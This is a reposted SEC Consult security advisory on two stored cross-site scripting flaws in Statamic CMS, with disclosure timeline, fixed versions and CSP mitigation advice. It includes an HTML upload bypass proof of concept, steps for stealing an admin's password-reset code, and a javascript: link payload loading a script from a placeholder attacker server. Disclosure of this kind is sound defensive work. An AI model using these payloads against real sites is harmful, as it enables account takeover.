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Statamic CMS Cross Site Scripting

CVE Category Price Severity
CVE-2024-24570 CWE-79 $500 High
Author Risk Exploitation Type Date
John Doe High Remote 2024-02-18
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024020055

Below is a copy:

Statamic CMS Cross Site Scripting
SEC Consult Vulnerability Lab Security Advisory < 20240212-0 >
=======================================================================
               title: Multiple Stored Cross-Site Scripting vulnerabilities
             product: Statamic CMS
  vulnerable version: <4.46.0, <3.4.17
       fixed version: >=4.46.0, >=3.4.17
          CVE number: CVE-2024-24570
              impact: high
            homepage: https://statamic.com/
               found: 2024-01-06
                  by: Niklas Schilling (Office Munich)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Eviden business
                      Europe | Asia

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Statamic is a modern, clean, and highly adaptable CMS built on Laravel
that can run full-stack, headless, on flat files or databases, or as a
static site generator."

Source: https://statamic.com/


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately. Furthermore,
an updated guideline for implementing a Content Security Policy (CSP) is
provided by the vendor.

SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve potential
further security issues.


Vulnerability overview/description:
-----------------------------------
1) Stored Cross-Site Scripting in Forms feature (CVE-2024-24570)
Statamic's Forms feature allows unauthenticated users to upload certain
filetypes. While only a limited number of file extensions are allowed, it's
possible to bypass these restrictions to upload an HTML file containing
JavaScript code.

2) Stored Cross-Site Scripting in Link Field
Statamic's Link Field feature provides authenticated users a convenient way
of inserting Hyperlinks into a collection's entry. It was identified that
it's possible to execute JavaScript code upon clicking on a specially
crafted Hyperlink.


Proof of concept:
-----------------
1) Stored Cross-Site Scripting in Forms feature (CVE-2024-24570)
When trying to upload an HTML file as an unauthenticated user, the
.html extension gets correctly detected by Statamic, leading to the file
being blocked from uploading.

This check can be bypassed though, by instead using a .jpg file extension,
as files of this type are allowed to be uploaded. Afterwards, the file's
content is analyzed by Statamic and correctly interpreted as HTML, resulting
in the initial .jpg extension being replaced with an .html extension. As no
checks on this newly set file extension are performed, the file is now shown
as a valid submission in Statamic's "Forms" page.

If an authenticated user accesses this submission, the included JavaScript
code will be executed. This can be verified by uploading a file called
"test.jpg" with the following content:

<!DOCTYPE html>
<html>
     <body>
         <script>alert("Stored XSS on "+window.origin)</script>
     </body>
</html>

To further demonstrate the criticality of this vulnerability, the following
JavaScript code can be used:

[ POC code removed from public advisory ]


When an admin user now accesses this JavaScript submission, the following happens:
1. Load the "Users" page in a hidden iframe and extract the CSRF token from it.
2. Request user information and extract the user ID and email address from
    the response.
3. Request a password reset code for the extracted used ID.
4. Extract the password reset code from the response and send it to the
    attacker server including the user's email address.

After receiving the victim's password reset code and email address,
the attacker can now visit the following URL and set a new password:
https://<STATAMIC_SERVER>/!/auth/password/reset/<PASSWORD_RESET_CODE>

This results in a successful takeover of the victim's account.


2) Stored Cross-Site Scripting in Link Field
When using a Link Field of type "URL", the following XSS payload can be used
as input:
javascript:var js=document.createElement('script');js.src='https://<ATTACKER_SERVER>/poc.js';document.body.append(js)


As this input is typically placed in the "href" attribute of an anchor tag,
the JavaScript pseudo protocol can be used to execute arbitrary JavaScript
code upon clicking on the Hyperlink. In this case the external file "poc.js"
will be loaded, which contains the JavaScript code from the password reset
code stealer above (removed from public advisory).

This way, an authenticated user with lower privileges can gain control over an
admin's account after the admin clicks on the malicious Hyperlink.

Statamic's "sanitize" modifier doesn't prevent this attack, as no illegal
characters are being used in the XSS payload:
<a href="{{ url_link | sanitize }}">Link</a>


Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 4.45.0

The following Statamic CMS versions are affected by this vulnerability:
* <4.46.0
* <3.4.17


Vendor contact timeline:
------------------------
2024-01-24: Contacting vendor through [email protected]
2024-01-24: Vendor confirms receipt of advisory and states that they aim to
             resolve the issues within the next few days.
2024-01-26: Vendor fixes the first stored XSS and shares the corresponding
             GitHub security advisory draft. Furthermore, valid arguments for
             mitigating the second stored XSS via a correctly set CSP are
             supplied. Vendor also creates a new documentation page for
             setting the CSP in the correct areas.
2024-01-26: Confirming that setting a correctly configured CSP for the
             necessary areas results in a higher efficiency in mitigating the
             second security issue.
2024-01-29: Suggesting an adjustment of the assigned CVSS3.1 score that was
             set in the vendor's GitHub security advisory. Also asking for
             planned public disclosure and the assignment of a CVE number.
2024-01-29: Vendor adjusts CVSS3.1 score and suggests requesting a
             CVE number via GitHub.
2024-01-30: Received CVE number CVE-2024-24570.
2024-02-12: Coordinated release of advisory.


Solution:
---------
The vendor provided a patch for the "Stored Cross-Site Scripting in Forms" feature
(CVE-2024-24570):

* Update version "4.X" to "4.46.0" or later
* Update version "3.X" to "3.4.17" or later

Get the newest release of Statamic CMS here:
https://github.com/statamic/cms/releases

The vendor will not provide a patch regarding "Stored Cross-Site Scripting in
Link Field" but suggests to implement a correctly configured CSP as described
in Statamic's newly added documentation page:

https://statamic.dev/tips/content-security-policy

Vendor advisory:
https://github.com/statamic/cms/security/advisories/GHSA-vqxq-hvxw-9mv9


Workaround:
-----------
No workaround available.


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Eviden business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

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EOF Niklas Schilling / @2024

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